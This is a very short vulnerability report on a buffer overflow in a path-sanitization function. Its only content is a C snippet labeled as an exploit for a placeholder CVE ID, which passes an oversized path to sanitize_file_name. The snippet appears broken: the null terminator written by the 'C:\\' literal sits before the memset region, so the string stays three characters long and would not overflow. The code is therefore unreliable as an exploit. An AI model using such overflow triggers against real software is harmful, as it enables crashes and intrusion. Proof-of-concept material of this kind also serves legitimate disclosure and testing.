Vulnerability Report: Buffer Overflow in Path Sanitization

Vulnerability Report: Buffer Overflow in Path Sanitization

// Exploit for CVE-2024-XXXX-A
char malicious_path[PATH_MAX + 100] = "C:\\";
memset(malicious_path + 4, 'A', PATH_MAX + 96);
malicious_path[PATH_MAX + 99] = '\0';

char *sanitized;
sanitize_file_name(&sanitized, malicious_path, SANITIZE_ALLOW_PATH);